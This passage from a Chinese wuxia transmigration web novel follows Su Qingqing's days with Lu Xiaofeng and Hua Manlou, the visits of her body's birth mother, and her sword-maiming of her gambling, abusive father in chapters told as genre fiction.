微风拂过,帷帽的薄纱轻扬,隐约可见她清丽的容色。
苏青青凝神细听,那小姐轻柔而充满期盼的低语随风飘来:“愿神明垂怜,赐我良缘早定,情投意合,岁岁长安。”
原来是在祈求姻缘。苏青青心中了然,目光不由得转向身边的陆小凤。
只见他姿态闲适地靠在一根廊柱上,双手环抱,正饶有兴致地看着戏台方向。
苏青青碰了碰陆小凤的胳膊,仿佛好奇,又仿佛提醒:“你不去挂根红绳,许个愿吗?”
陆小凤收回目光,转向苏青青,那双明亮的眼睛带着洞悉一切的笑意,“你准备让我求什么?也求神功大成吗?”
苏青青被他看的心脏突突直跳,不敢和他对视,只是硬提着勇气:“像那位小姐一样,求个好姻缘,或者求个平安,求个富贵,都可以啊。”
苏青青的声音小越说越低。
陆小凤紧紧盯着苏青青的头顶,看了许久,最终只是轻笑了一声“神能帮你翻译《九阴真经》的总纲吗?”
苏青青下意识地摇头:“不能。”
陆小凤瞬间得意的笑起来,拍着胸脯道:“我能!既然我能办成神明办不成的事,我为什么要求祂?”
苏青青也笑了。
她的笑中蕴藏了多少少女的情思?
没有人知道。
21. 庙会5
喧嚣的锣鼓声渐渐远去,喧嚣的人声也如潮水般退去,只余下远处戏台上咿咿呀呀的唱腔随风飘来
陆小凤和苏青青沉默着,好像也在听远处的戏文。
“原来你们在这里。”花满楼温和的声音自身后响起。
苏青青转身去看。
花满楼缓缓自远方走近,脸上仍旧带着微笑,对于两人之前的“失踪”,没有流露出半分不满。
“抱歉,我……”苏青青愧疚起来。
“不必抱歉,”花满楼温和道,他的神情理解而又包容,“看什么本就是你的自由,接下来想去哪里看看?”
苏青青下意识去看陆小凤。
陆小凤毫无形象地伸了个大大的懒腰,“既然你们都没有意见,那就乖乖跟着我走。”
陆小凤带着两人向城隍庙后方走去,越往里走,游人越是稀少。
古刹的庄严与岁月沉淀下的清幽,终于毫无保留地展现在苏青青眼前,这里终于像一处神明的所在了。
郁郁葱葱古树在阳光下投射出斑驳的光影,三人走在光滑的青石板小径,只有一个人留下“哒哒哒”的脚步声。
苏青青好久没有跟在人后,此刻欢快的在两人身后,东拐西拐,走着不规则的线。
陆小凤和花满楼不语。
青石板小径一路延伸,竟通向了庙宇的后门。
推开后门,眼前出现的是一条僻静荒凉的小巷子。
它显然不在热闹的巡游路线上,此刻只有伶仃几个行人。
陆小凤熟门熟路,带着两人径直走向巷子口。
令人意外的是,这偏僻的角落竟支着一个小小的馄饨摊。
摊子极其简陋,只有一个锅炉,一个案板,支了两张小桌,收拾得却异常干净利落。
老板的是一对中年夫妻,丈夫剁馅,妻子包馄饨。
两人应当都是普通人,手法却快得令人眼花缭乱。
特别是那老板娘,手指翻飞间,只是一抹、一捏、一拢、一翻,一个圆鼓鼓的馄饨便轻盈地落入旁边的竹匾里。
看着夫妻两个,苏青青甚至怀疑,如果老板去学一门刀法,老板娘去学一门暗器,说不定成就比江湖上很多徒有虚名的侠侣还要厉害的多。
“三碗馄饨。”陆小凤说完,已经自顾自的寻位置坐下了。
“好。”老板很干脆的应了,从竹匾里抓起一把馄饨,投入翻滚着骨汤香气的大锅中。
花满楼也像是来过很多次,他轻松的坐在小凳子上,竟完全没有坐空。
苏青青挨着花满楼坐下,目光仍忍不住追随着那对配合默契的夫妻。
看着他们在氤氲的热气中忙碌,听着汤锅咕嘟的轻响,嗅着空气中弥漫的温暖食物香气,她心头那份闯荡江湖的躁动,竟奇异的消失了
像这样经营这样一方小小的摊子,似乎…也很不错。
很快,三碗热气腾腾的馄饨端了上来。
乳白色的汤底里,躺着一个个胖乎乎的馄饨,绿油油的葱花漂在汤面上,鲜香诱人。
苏青青还没反应过来,陆小凤已经将一只汤匙递到她面前,“先尝尝汤。”
苏青青依言舀起一勺清汤,吹了吹,小心送入口中。
一股难以言喻的鲜美瞬间在舌尖绽放,温润熨帖,直透心脾。
她又迫不及待地咬开一只馄饨,皮薄馅足,肉馅紧实弹牙,鲜香满溢。
滋味美妙得让她满足地眯起了眼。
“好吃!”苏青青夸赞道。
陆小凤得意的小胡子都仿佛要翘起来:“有些人到了一个地方,总喜欢去那些有名气的地方吃饭,却不懂得,真正的美食往往就在犄角旮旯的地方。”
苏青青赞同点头,默默品尝起了美味。
花满楼也静静地吃着。
三人的面庞在氤氲的热气中有些朦胧。
日头已经生的很高,空气中已渐渐有了夏日的闷热。
他们又随着人流一起追着巡游队伍的看了会儿精彩的舞狮表演。
接下来的一天,再也没有偷儿光顾过他们,苏青青听着百姓的欢呼和呐喊,看着他们脸上真挚的向往,隐隐有些明白生活的魅力。
金乌渐西沉,三人随意在已不那么拥挤的街上闲逛,尝了些零嘴小食,这才踏着月光,悠悠然回到了小楼。
喧闹了一整天的街道终于安静下
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来,带着一种狂欢后的倦怠与满足。
苏青青回到自己的小屋。放松了一整日的身心此刻反而充满了力量。她点亮油灯,暖黄的光晕铺满房间。
她取出了那柄陨铁长剑,剑身映着灯火,如一泓秋水,寒意内蕴。
手臂送出,一声清越的剑鸣,划破了室内的宁静。
……
陆小凤怀里抱着一个不大的酒坛,推开了花满楼的房门。
花满楼的房间里没有点灯,但他还没有睡。
他正坐在窗边,仿佛在感受热闹过后的安宁,感受硝烟中蕴藏的烟火气。
“你来了。”花满楼道。
陆小凤问道:“你知道我要来?”
“你平时是一个很吵的人,可你今天下午却有些安静。”
“我好像已待的太久。”月光从窗户外撒进来,照在陆小凤背后,陆小凤随手打开泥封,为自己倒了一杯美酒。
花满楼叹了口气:“你要走了?”
陆小凤也叹了口气:“如果我再待下去,只怕会有大麻烦。”
花满楼摇头:“你也会怕麻烦?”
陆小凤摇头:“这次的麻烦不同,如果真的沾上了,我怕甩都甩不掉。”
“你怕麻烦,还要把麻烦带到我这里来。”
“毕竟我是个男人。”陆小凤轻轻的呷了一口美酒。
花满楼沉默。
“我有个东西要托你转交给她。”陆小凤突然开口道,他说完,已经将一张纸拍在桌子上。
花满楼没有立刻去接,只是问道“你为什么不自己交?”
陆小凤摸了摸他那两撇小胡子,半真半假地叹了口气:“我怕她收到礼物,感动之下,会深深、深深地爱上我,那可就更麻烦了!”
花满楼失笑,摇了摇头,终于伸手接过那张薄薄的纸。
“你何时动身?”
“今晚。”陆小凤的声音斩钉截铁。
“走了。”话音未落,人已如一片被风吹起的落叶,悄无声息地融入了窗外的无边夜色之中,再无踪迹可寻。
桌子上的酒坛和酒杯也已经消失了。
花满楼苦笑,只有苦笑。
22. 苏母来访
清晨的太阳还未升起,东方的云层已经迸射出霞光。
苏青青正侧躺在柔软的床铺上,她的右手垫在脸颊下,右腿弯曲着,左手搭在伸直的左腿上。
这正是道家希夷睡的睡姿,讲究形神放松,呼吸绵长,于沉睡中亦能滋养元气。
苏青青昨天努力修炼了大半夜,丑时刚过,就疲乏了起来。
可她个性倔强,明知精神已至极限,仍强撑着摆出这修炼姿势,意图借睡功恢复些许清明。
奈何终究不敌困意,沉入了黑甜乡。
此刻她睡的很熟,呼吸均匀悠长。曾经略显清瘦的脸颊,如今在规律的修炼与小楼滋养下,透出健康温润的光泽。
嘴角甚至不自觉地微微上扬,带着一丝甜甜的笑。
……
苏青青醒来时,天色仍未大明,她挣扎着睁开眼睛,又疲惫的闭上了,最后她心念一动,勉强睁开眼睛看一眼面板。
【太极剑法9/1000(熟练)】
【九阴真经 35/50(入门)】
看着那虽缓慢却清晰可见的进度,一股踏实的满足感油然而生。
她满足的闭上眼睛,享受清晨的倦怠。
空气中弥漫着各种花的清香,窗外的人声比平常要少很多,显然是昨日的喧嚣让整座城都疲倦起来,她好像还听到了淅淅沥沥的小雨声。
雨声?
苏青青瞬间从床上弹起,赤着脚几步就冲到窗边,一把推开窗扉,往远处望去。
果然正在下雨,云层并不多厚,只是薄薄的一层,甚至还有缕缕微光顽强地穿透云隙。
细密的雨丝从空中落下,整座城市笼罩在一层朦胧氤氲的水雾之中。
苏青青简单洗漱一番,匆匆忙忙推门出去。
花满楼早已起了,他坐在窗边,又仿佛在享受雨所带来的生命力。
“青青早。”他微微侧首,温声问候。
“花公子早。”苏青青匆匆应了一声,脚步未停,径直向楼下跑去。
门还是大开着,苏青青已经意识到,花满楼的大门始终是开着的。
他也许是在等什么人。
可为什么如此殷实的小楼,却没有小偷来光顾?
这念头在苏青青脑中一闪而过,随即被更急切的心情取代,她想真真切切地感受这场雨。
她已冲出大门。
细小的雨滴轻轻打在身上,好像情人温柔的抚摸,青青没有情人,却真切的感受到了温柔。
这才是真实的雨。
就在这片温柔的雨帘中,她看到了一个人。
一个衣着破烂不堪、形容憔悴的中年妇人,正站在不远处,痴痴地望着她。
那妇人眼中仿佛盛满了雨水,又或是泪水,浑浊而哀伤,直直地锁在苏青青身上。
“小九!”
苏青青心头猛的一跳,一股熟悉感涌上心头。
自己岂非就叫小九?
苏青青还没想清楚,面前的妇人已踉踉跄跄的冲过来,她的双臂打开着,似乎想要给苏青青一个拥抱。
但苏青青已不是往日的苏青青,此刻她心绪不宁,只是本能轻轻侧身,妇人便已在身侧闪过。
妇人扑了个空,身体失去平衡向前踉跄了几步才勉强站稳。
她尴尬地直起身,脸上混杂着失落、愧疚和急切,泪水终于汹涌而出:“小九,你,你是在怨娘吗?娘也是没办法啊!不把你交给他们,他们就要打断你爹一条腿啊!娘实在是走投无路了……”
她絮絮叨叨地哭诉起来,却不敢再贸然上前。
苏青青沉默地站在雨中,静静听着妇人的诉说。
原来,小九是这户贫苦人家的独女。她那不成器的父亲,早年与一群游手好闲的混子厮混,染上了嫖赌的恶习,败光了家业。
前阵子,那父亲似乎幡然醒悟,想回头安稳过日子,可环顾家中,只剩徒有四壁的破屋,连果腹都成问题。
绝望之下,借了高利贷。结果利滚利,彻底还不起了。万般无奈,才狠心将女儿抵了出去。
谁曾想,昨日竟有邻居登门,说在城里瞧见了小九,看面相衣着,生活的应当还不错。
妇人(姑且称她苏母吧)这才抱着渺茫的希望,一路打听着寻到了这里
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,只想见女儿一面,确认她是否安好。
苏母边说边哭,泪珠子扑簌簌的落下来,路过的行人免不了用谴责和审视的目光看着苏青青。
苏青青心乱如麻,本不知该如何对待这身体的父母,事已至此,只能将哭得几乎脱力的苏母搀扶进了小楼,让她在厅中坐下,又倒了杯温水递过去。
苏母双手捧着温热的杯子,局促不安地打量着楼内雅致洁净的陈设,小心翼翼地问:“这家的主人家好相与吗?”
“花公子人很好。” 这是苏青青对苏母说的第一句完整的话。
“好相与就好,好相与就好,” 苏母闻言,紧绷的肩膀明显松垮下来,长长舒了口气,“我听人说,有些主家,对买来的下人非打即骂,日子可难熬了……”
苏母捧着杯子暖了暖手,又试探着问:“那,一个月能有多少月钱?” 她眼中带着一丝小心的期盼。
“没有月钱。”
“啊?” 苏母一愣,随即露出忧色,“那,那你可得寻个机会跟主家说说啊!就算是签了死契的,也该有点月钱傍身才是。女人家,总得为自己打算,偷偷存点体己钱,将来也好有个退路。”
她的话语里透着过来人的心酸和对女儿的关切。
看着妇人脸上那份真挚的愧疚和小心翼翼的“为女儿谋划”,苏青青心中五味杂陈。这确是一颗拳拳慈母心,只可惜……她终究不是真正的小九。
她垂下眼帘,轻轻“嗯”了一声,算是回应。
苏母见她应声,似乎放下了些心,慢慢放下茶杯站起身来。“看到你没事,娘就放心了。你好生做活,听主家的话,等……等得了空,娘再来看你。”
她的目光依旧贪婪地在苏青青脸上流连,带着浓浓的不舍。
苏青青唯恐言多必失,只是默默点头,将苏母送到门口。
看着她一步三回头、蹒跚着消失在朦胧的雨幕中,苏青青倚着门框,长长地叹了口气。
可怜她一番慈母心肠,却不知她真正的女儿“小九”,早已不知魂归何处。
这一番变故下来,苏青青也无心再玩雨,又回到二楼去。
23. 心灵导师花七童
桌上已摆好了饭菜。
苏青青还没等坐到凳子上,已经对花满楼开口:“小九的娘来了,和我说了好些话。”
她的语气有些复杂,带着一丝不易察觉的茫然
花满楼没有接话,只是温和的问:“你对此有什么打算?”
“打算?” 苏青青一愣,随即眼神重新变得坚定,“自然是勤练武艺,早日有足够的实力去雁门关‘蹲守’啊!”
她答得理所当然,仿佛这才是唯一重要的事。
花满楼闻言,唇角勾起一个了然的微笑,不再多问。
苏青青眨了眨眼,也仿佛明白了什么。
她拿起筷子,忽然想起什么,环顾四周,奇怪道:“陆大哥今天不过来了吗?”
“他已不会来了。”花满楼道。
“啊?” 苏青青夹菜的手顿住,这可不像什么好话。
花满楼没有解释,只是从袖中取出一张纸,轻轻推到苏青青面前的桌面上。
“他托我将这个交给你。”
“哦……” 苏青青心中掠过一丝淡淡的,自己也说不清的怅然若失。
但这点情绪很快就被江湖儿女“聚散终有时”的豪情冲散。
她接过纸张,点了点头,“多谢花公子。”
快速扒完早饭,苏青青拿着那张纸回到了自己的房间。
她本以为会是一封告别信笺,展开一看,入眼的却是一幅幅精妙绝伦的身法图与密密麻麻的注解。
《双飞彩翼》!
这竟是一部上乘的轻功身法秘籍,这可比任何告别的话语都实在千百倍。
苏青青瞬间瞪大了眼睛,巨大的惊喜冲散了所有阴霾。
“陆大哥真够意思!” 她忍不住低呼一声,喜不自胜,迫不及待地按照图谱运转内息,配合步法腾挪。
【双飞彩翼 1/50 (入门)】
轻功短板终于补齐,苏青青内心振奋无比,练功的劲头更是空前高涨。
她将全部心神都投入到了修炼之中。
这之后,苏母果然如她所说,时常来访。
起初间隔较长,后来便隔三差五就来一趟。
每次来也不多待,只是拉着苏青青在小楼门口或是附近街角说上一会儿话。
她的眼神里总带着抹不去的愧疚,话题总是围绕着几件事,询问她近况,叮嘱她照顾好自己,抱怨苏父死性不改。
有次苏母来时红着眼眶,苏青青询问,这才得知她白天黑夜的帮人浆洗缝补,赚了点铜板,本打算买些粮食,结果又被男人摸了去。
她以泪洗面,却拿那个混账男人毫无办法……
苏青青在游戏中就是孝女人设,如今真的有个活生生的母亲常常关心自己,也忍不住有几分感情。
可她真的是一个铜板也没有,便劝道:“既然他不能改正,你们不如分开,分开了你还能攒下钱自己过日子。”
苏母闻言,泪眼婆娑:“离开?我一个妇道人家,离了他能去哪儿?”
苏青青不理解:“去哪里都好过如今,如今你一个人赚钱两个人花,还要伺候他,哪比得上一个人快活?”
苏母只是摇头,说些受人耻笑,不能被人看笑话之类的话。
苏青青烦闷,便给她出其他主意:“那就管好他,别让他出去赌,在家躺着也好过出去赌钱。”
“我哪里管得了他!他发起狠来,连我都打……” 她只是一味流泪。
苏青青已经认识到,苏母虽说受了些磋磨,但还是离不开苏父。
苏青青看着她那副哀哀切切的样子,心中那点同情渐渐被一种说不出的烦躁取代。
她不是真正的小九,没有那份血脉相连的牵绊,更无法理解这种近乎自虐的依附。
她只能沉默以对,等苏母一走,苏青青便去找了花满楼。
花满楼正坐在他常坐的窗边位置,指尖轻柔地拂过一片柔软的花瓣,仿佛在感受其中的生命。
“花公子。”苏青青的声音带困惑和郁结,“我不明白。”
“哦?”花满楼笑着引导她继续说下去。
“我实在不明白!”苏青青的声音陡然提高了几分,“她明明有机会改变,却自己往火坑里跳。既然那么痛苦,为什么还要一次次地忍受?”
“你想要改变她?”花满楼突然问
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道。
苏青青愣住了。
“既然你自知无法改变,为什么要为此愤怒?”窗外的微风拂过,带来庭院里花草的清新气息,与花满楼温和的声音一同安抚着苏青青躁动的心。
“青青,”他缓缓开口,“人与人之间的关系,并非都如你所想的那般简单纯粹。”
他顿了顿,似乎在斟酌词句:“她向你倾诉的痛苦,未必全然虚假。但她的痛苦之中,或许还藏着别的东西。”
“别的东西?”苏青青不解。
“习惯。”花满楼的声音带着洞察的平和,“她习惯了生活在份阴影之下,习惯了扮演被辜负的角色。甚至习惯借此获取他人同情与关注。”
“所以她就宁愿一直痛苦下去?”苏青青觉得这逻辑简直不可理喻。
“并非‘宁愿’,”花满楼轻轻摇头,“而是她早已失去了挣脱的勇气和力量。长期的压制和依附,会让人逆来顺受,甚至……”
苏青青疑惑的看着花满楼,她已感受到这话中的停顿并不寻常。
花满楼的声音中带着一丝不易察觉的叹息,“甚至会让人变成魔鬼。”
花满楼说到这里,突然转移了话题:“你有没有发现,她并非在向你寻求解决问题的办法,而是转移痛苦?”
花满楼的话语,如同拨开迷雾的清风,让苏青青混乱的思绪渐渐清晰了一些。
苏母的哭诉,只是希望她能替她承担一部分痛苦,不论是精神上的支撑,还是物质上支持。
“她好像只是在利用‘小九’。”苏青青的声音有些复杂。
花满楼温和的引导她:“青青,你已劝过她。她如何选择,是她自己的路。你无需为她的选择背负内疚,也无需因无法改变她而烦躁。”
花满楼的话语温柔的好像一股清风,让苏青青长长地舒了一口气。
“我明白了,花公子。”苏青青的声音恢复了平日的清亮
花满楼感受到她气息的变化,脸上露出了欣慰的笑容。
他不再多言,只是轻轻颔首,指尖重新抚上那盆兰草,仿佛一切了然于心。
苏青青站起身,准备继续她的修炼
24. 大义灭“亲”
时光就在这日复一日的勤修苦练中悄然流逝。转眼间,一个月的光阴便如指间流沙般滑过,苏青青成果斐然。
【太极剑法478/1000(熟练)】
【九阴真经 181/1000(熟练)】
【双飞彩翼150/1000(熟练)】
此时的苏青青若说是高手也夸张了,像陆小凤这类高手早已不拘泥于招式本身,而苏青青连招式还一板一眼,算不上精通。
但放在江湖上的小帮小派里,她怎么也得算个精英弟子。
这天苏母又来探访,她在门口探头探脑,神情踌躇,苏青青见状收剑入鞘,几步奔过去。
两人在小楼门口相对而立,苏青青不开口,苏母竟然也没有说话。
她只是期期艾艾的揉搓着自己破旧的衣服,眼神闪躲。
“怎么了?”苏青青率先打破了沉默。
“没什么要紧事。”苏母慌忙挤出笑容,“就是,娘常来打扰,主家没什么意见吧。”
“花公子不会在意。”苏青青竟然也一直没有解释自己和花满楼的关系。
“那就好,”苏母的目光在苏青青身上流连,带着几分刻意的惊讶,“这才多久没仔细看,九儿你竟长高了不少,气色也好了,唉,以前是娘,亏待了你。” 她说着,声音低了下去。
苏青青无言以对。真正的亏欠,属于那个早已消逝的苏小九,她无法代其回应。
尴尬的沉默再次弥漫。苏母嘴唇微动,似乎有千言万语哽在喉头,却始终无法出口。
“娘还有事,就先走了。”她最终低声道,转身欲行。
苏青青身为习武之人,目力敏锐,一眼便瞧出苏母步履蹒跚,身形微僵,显是身上带伤。
但苏母不说,她犹豫了一下,还是没开口询问。
苏青青转身要往回走,不妨身后传来呼唤。
“小九。”语气中带着哽咽。
“怎么?”苏青青顿住,回头去问。
苏母像是终于鼓足了勇气,期期艾艾道:“家里实在揭不开锅了,连一粒米都没了,你能不能……能不能……”
她眼巴巴地望着苏青青,未尽之意昭然若揭。
苏青青摇头,态度明确:“我不能擅自做主将小楼的米粮借出。” 她略作停顿,提议道,“若你实在急用,我可以替你问问花公子,他若应允……”
“不不不!”苏母像被烫到一般,连连摆手,脸上满是惶恐,“这点小事,哪敢惊动主家!你……你自己手头可有点闲钱?” 她眼中燃起最后一丝希冀。
苏青青再次摇头。
苏母脸上那点强装的笑意瞬间垮塌,化作一片凄苦绝望。她长长叹息一声,挤出一个比哭还难看的笑容:“那……那娘再想想别的法子吧……”
她佝偻着背,一步一挪地消失在街角,背影透着无尽的凄凉。
苏青青叹气,只有叹气。
几天后,苏母再次来到小楼。
这一次,她脸上的愁苦更深,眼圈红肿,像是哭了整夜。
她拉着苏青青的手,声音颤抖,带着前所未有的绝望:“小九啊!这次,这次你一定要救救你爹,赌坊的人说了,今天日落前见不到五十两银子,就……就要剁掉他一只手啊!”
苏青青眼睛倒是一亮,脱口而出:“剁掉一只手,还要还钱吗?”
苏母的哭声戛然而止,像是被掐住了脖子,难以置信地看着苏青青:“你……你说什么?你爹要是没了手,咱们一家子可怎么活啊?!”
苏青青则思路清奇:“可是他没了手就不用去赌,日子不就好起来了?”
苏母不可置信的看着苏青青,眼泪扑簌簌的流下来,“小九,娘知道你恨你爹,可他毕竟是你亲爹啊,娘求你了,救救你爹吧。”
“可,可是我没钱啊。”苏青青抬头望向小楼二层,“要不你去找花公子借钱,花公子人好,一定会借给你的。”
苏母吓得一机灵,头摇得像拨浪鼓:“这地主家的钱,我,我可不敢借。”
苏青青审视着苏母,看着她濒临崩溃的模样,终究是叹了口气:“我去给你借来,你等着。”
苏母终于不再嚎啕,只是抽泣着,“那,那好吧。”
苏青青迅速奔上楼。
花满楼本在窗边“赏花”,未等苏青青开口,已转过身,面对着她:“你要五十两?”
苏青青沉默。
花满楼叹了一口气,并未多言,从袖中取出一张银票递过。
“多谢花公子。”她没有立刻离开,而是继续道,“我要随‘小九’娘一起走。”
花满楼只是温和地点点头,叮嘱了一句:“早去早回,路上小心。”
他的声音平静无波,但苏青青似乎感觉到那无焦点的目光在她身上停留了片刻,带着一种洞悉的温和。
苏青青拿了银票,转身下楼。
苏母正在楼下翘首以盼,见到苏青青下来,苏母眼睛一亮,“青青,要不你也跟娘回去一趟,一起劝劝你爹,兴许他见到你,就……”
他还要再劝,苏青青已点头应道:“好!”
苏青青早已决定跟她离开。
一方面苏母那副撕心裂肺、濒临崩溃的模样,让她难以完全硬起心肠。
更重要的是,她决定彻底让苏父改邪归正。
苏母固然难以改变,但苏青青可以强行改变苏父啊。
“真的?”苏母还有些不敢置信。
“我跟你回去。” 苏青青沉声道,眼中
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闪过一丝决然,“去‘劝劝’他。”
她刻意加重了“劝”字,已决心用剑来“劝”。
苏母闻言,眼中瞬间迸发出喜悦的光芒,连连道:“好!好!快跟娘走!”
苏青青带着剑离开了小楼。
跟着苏母,穿过越来越破败肮脏的街巷,最终停在了一处低矮歪斜、散发着霉味和劣质酒气的破屋前。
推门进去,一股浓烈的汗臭、酒气和食物腐败的混合气味扑面而来,熏得苏青青眉头紧锁。
屋内光线昏暗,家徒四壁,只有一张破桌和两条瘸腿长凳,凳子下面垫着破旧的砖石。
其中一条长凳上,坐着一个干瘦猥琐、眼袋浮肿的男人。
男人眼皮上下扫了扫青青,冷哼一声:“钱带了?”
“带了带了。”苏母上前去推了推他,“孩子好不容易愿意回来一趟,你别吓着她。”
“滚开!” 苏父粗暴地甩开苏母,猛地站起身,对着苏青青狞笑道:“小贱蹄子!攀上高枝儿就不认爹娘了?害老子找你找得好苦!在外面吃香喝辣,看着你爹娘饿死?没良心的东西!”
他话音未落,竟毫无征兆地一个箭步冲上来,一巴掌恶狠狠向苏青青打来,他的动作又快又狠,显然带着一股蛮力,没有一丝一毫留情!
然而,苏青青的剑,比他暴怒的巴掌更快。
巴掌还没到苏青青脸上,剑尖已指到他咽喉要害。
苏父吓得整个人僵立原地,饶是如此,他的脖子上也已流出血丝。
时间仿佛凝固。两人久久对视,青青眼神冰冷,苏父眼中则充满了恐惧。
直到此刻,被这电光火石间的剧变吓傻的苏母才发出一声凄厉的尖叫:“啊!”
她猛地从背后扑上来,双手死死抱住苏青青的腰,用尽全身力气向后拖拽,哭喊道:“小九!使不得啊!他是你爹!亲爹啊!你饶了他吧!娘保证他以后一定改!一定改好!”
苏青青的下盘已经很稳。
所以苏母只有“噗通”一声跪倒在地:“小九!娘给你跪下了,求你。”
苏父被这哭喊惊醒,他颤抖着,踉跄着后退几步,“咚”地一声跌坐回长凳上,面无人色,嘴唇哆嗦着,一个字也说不出来。
“起来。”苏青青垂眸瞥了一眼紧抱着自己双腿,跪在地上涕泪横流的苏母,声音平淡。
收剑入鞘,她不再看苏母,径直走到另一条勉长凳前坐下,不再言语。
苏父坐在凳上,胸口剧烈起伏,惊惧未消,却又不愿在刚刚差点要了自己命的女儿面前低头认栽。
他既无法否认自己已远非女儿对手的事实,更拉不下脸来示弱。
一种屈辱、恐惧与顽固交织的复杂情绪,将他牢牢钉在原地。
25. 即刻出发
本就脏污的房子里一片死寂,几乎落针可闻。
苏母的脸上勉强挤出一丝微笑,小心翼翼的打破了沉寂:“我去给你们倒水。”
她说完,又去扯苏父的衣角,声音带着卑微的讨好,“女儿好不容易愿意回来看看,你就改改吧。”
她说完,径直离开了,苏父已不敢再去推搡她。
“我,”苏父刚才还嚣张的声音现在却干涩沙哑起来了,连眼神都有些闪躲:“刚才都是爹鬼迷心窍,你别放在心上。”
“鬼迷心窍?”苏青青重复着。
她曾经痛恨游戏世界的虚假,但此时竟觉得,她那个只会夸她的母亲,比这个欺软怕硬的男人要强得多。
“对!鬼迷心窍!”苏父像是抓住了救命稻草,语气又试图带上惯常的居高临下,“我是你亲爹,还能真害你不成?刚才就是一时糊涂……”
苏青青冷笑。
苏父身子一颤,气势顿时矮了一截,他眼神闪烁的看着苏青青,最后还是忍不住低声问道:“钱在哪里?”
“你还赌吗?”苏青青也问。
“不赌了!绝对不赌了!”苏父拍着胸脯,信誓旦旦,“快把钱给我。”
苏青青掏出那张五十两的银票。
苏父的手迫不及待地伸了过来,就在指尖即将触碰到银票的刹那,苏青青手腕一翻,银票瞬间收回。
“怎么保证?”苏青青冷声问道。
“这还能怎么保证。”苏父拧着眉头,恼羞成怒起来,“你都把老子脖子划伤了,就是看伤都得花钱,再说了我是你老子,你养我是天经地义!”
苏青青看着这个老头无能狂怒。
苏母此时已端了两碗水来。
两个碗都是粗陶碗,边缘还是破损的,水明显是刚打的凉水,碗底好像还带着井底的泥沙。
“喝口水,消消气。” 她将一碗水放在苏父面前,又将另一碗推到苏青青手边。
苏父立刻端起碗灌了一大口。
苏青青看也没看那碗水,任由它搁在桌上。
苏母见状,又去推搡苏父,声音带着哀求:“当家的,你少说两句。女儿好不容易才肯回来看看,你就不能说句软话吗?”
苏父冷哼一声,不说话。
苏青青站起身来,“你既然无法保证,我不能把银子给你。”
苏父终于神色大变,“小九!”
苏母拉住苏青青的手:“小九,你知道你爹的脾气,我们慢慢劝他,不能跟他顶着来。”
苏母引着苏青青坐下,把碗放到苏青青手里,又去劝苏父,“咱们就只有小九这一个指望,小九最是心软,你跟她说句好话。”
苏青青看看手中的碗,又看了看苏父苏母二人。
苏父此时抬手一巴掌打在苏母脸上,骂道:“你教的好女儿,反了天了,连老子都不养。”
苏母被打的一个趔趄,苏父冲上去,抓住苏母的头发还要打。
“我把钱给你。”苏青青放下正端详着的碗,出声道。
就在苏父苏母惊愕的目光中,她再次将银票递向了苏父。
苏父喜出望外,伸手抓住银票。
苏青青递出银票,拔剑出鞘,一抹剑光一闪而过,她淡然收剑。
苏父不明所以,想要将银票拿到眼前来看。
这一动,他两手的手腕,双脚的脚腕,同时鲜血溅出,苏父瞬间摔倒在地,痛得满地打滚,涕泪横流。
“当家的!”苏母惊呼一声扑在苏父身上,转头对苏青青怒目而视,“你,你这个孽种,你干了什么?”
苏青青居高临下的看着二人,忍不住叹了口气。
“我保证他已不会再赌钱。”话一出口,苏青青就感觉自己语气怪怪的。
但她没有多想,只是垂眸看着苏母,轻声道:“你不该几次三番将碗递给我,碗底的药还没化开。”
苏母身体猛的一僵,下意识的疯狂摇头,连声音都慌乱起来:“我,我不知道你在说什么。”
“哦。”苏青青只是淡淡应了一声,嘴角却不由自主地向上弯起一个小小的弧度,那是一种混杂着“果然如此”的确认和一丝“被我识破了”的小得意。
“不管你们想干什么,都算了。毕竟像我们这样的大侠都是‘以德报怨’的。”她摇了摇头,一幅“我太善良”了的样子。
“他以后只能老老实实待在家里,‘安生’的过日子了,我的‘劝解’还是有效的。”
她转身推开房门。就在迈出门槛的瞬间,她脚步顿了顿,似乎想起了什么,侧过半边身子,回头看向屋内,语气认真,带着清晰的告诫:“对了,记住。以后千万别来找我。”
“其实……你早就发现我和‘她’不一样了,对吧?毕竟,我这么‘厉害’。”
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>说这话时,她语气里那点小小的、对自己武功进步的得意,几乎掩藏不住。
说完这一切,苏青青心情舒畅,做完好事不出声,相当于锦衣夜行,太无趣了。
走在那条充斥着污秽与恶臭的小巷,尽管街道依旧破败脏乱,苏青青却感觉胸中浊气尽吐,一股前所未有的畅快与清明席卷全身。
她步履轻快,越走越快,最后竟忍不住提气纵身!
《双飞彩翼》的身法随心而动,内力奔涌,足尖在低矮的墙头轻点借力,身形如一只挣脱了樊笼的雨燕,轻盈迅捷地掠过杂乱的屋脊!
她竟学着陆小凤的样子,直接从花满楼敞开的窗户中飞掠而入,稳稳落在花满楼面前。
【双飞彩翼180/1000(熟练)】(顿悟)
面板在她面前一闪而过,她的眼睛在发亮。
“我替小九的母亲做出了改变。”她的声音中带着行侠仗义后的振奋。
花满楼本在浇水的动作停住了,他已嗅到了空气中的血腥味。
“小九的父亲已经再也不能赌钱。”苏青青继续道。
“你杀了他?”花满楼突然问。
“啊?”苏青青摇头,“我只是挑了他的手筋脚筋。”
花满楼沉默了一瞬,神色复杂:“让一个嗜赌如命的人活着,却再也无法赌钱,确实是比死亡更让他痛苦的惩罚。”
“他们本打算对我下药。”苏青青得意洋洋道。
花满楼脸上却并无太多意外,只是轻轻颔首:“所以你便先下手为强了。”
“我现在俨然是个老江湖了吧。”苏青青微笑着。
花满楼点头赞同。
“所以,我是不是已经能去雁门关?”苏青青突然问道。
花满楼脸上的笑容逐渐消失,他前所未有的严肃起来:“你知不知道,苏州城外并没有燕子坞?”
苏青青沉默片刻,解释道:“参合庄位置隐蔽,没有人带路很难发现。”
“你知不知道武当掌门是石雁石真人?”花满楼接着问道。
苏青青嘴唇嗫嚅了几下,一句话也说不出来,她的脸已变得苍白。
“你一定要去?”
“我一定要去。”
花满楼知道她必不肯轻易接受现实,便不再刺激她。
“你何时动身?”
“收拾完行囊,即刻便走。”
26. 行礼超重
盛夏的午后,空气仿佛凝固了,闷热得没有一丝风。
小楼庭院的花草都显得有些蔫蔫的,与花草一起蔫了的是苏青青。
苏青青默默地站在自己房间门口,背上只挎着一个小小的、瘪瘪的包袱。
包袱里是她自己收拾的一套换洗的短打衣服。
她看着屋内一片狼藉,手足无措的看向身旁的花满楼,低声道:“花公子,张大娘是不是太夸张了。”
她本已准备出发,花满楼却叫来了张大娘。
花满楼摇着手中的折扇,微笑道:“张大娘是花家的老人。”
花家的老人自然经验丰富,所以青青只有听她的。
张大娘正手脚麻利地在她房间里“扫荡”。
